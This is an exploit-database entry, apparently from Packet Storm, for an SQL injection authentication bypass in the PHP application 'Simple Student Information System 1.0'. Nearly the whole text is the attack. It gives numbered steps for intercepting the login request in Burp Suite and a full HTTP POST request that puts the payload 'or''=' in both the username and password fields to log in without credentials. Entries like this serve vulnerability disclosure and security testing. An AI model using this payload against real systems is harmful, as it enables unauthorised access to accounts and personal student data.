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## https://sploitus.com/exploit?id=PACKETSTORM:162150
# Exploit Title: Simple Student Information System 1.0 - SQL Injection (Authentication Bypass)  
# Date: 13 April 2021  
# Exploit Author: Galuh Muhammad Iman Akbar (GaluhID)  
# Vendor Homepage: https://www.sourcecodester.com/php/11400/simple-student-information-system-ajax-live-search.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=11400&title=Simple+Student+Information+System+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested on: windows 10  
  
POC  
  
Step 1 - Go to url http://localhost/studentinfosystem/index.php  
Step 2 โ€“ Enter anything in username and password  
Step 3 โ€“ Click on Login and capture the request in burpsuite  
Step 4 โ€“ Change the username to 'or''=' and password 'or''='  
Step 5 โ€“ after entering the payload, you can enter the website  
  
  
POST /studentinfosystem/index.php HTTP/1.1  
Host: 192.168.1.14  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)  
Gecko/20100101 Firefox/87.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 46  
Origin: http://192.168.1.14  
Connection: close  
Referer: http://192.168.1.14/studentinfosystem/index.php  
Cookie: PHPSESSID=5sll425q7s76lpl9m1copg6mpe  
Upgrade-Insecure-Requests: 1  
  
username='or''='&password='or''='&login=Log+In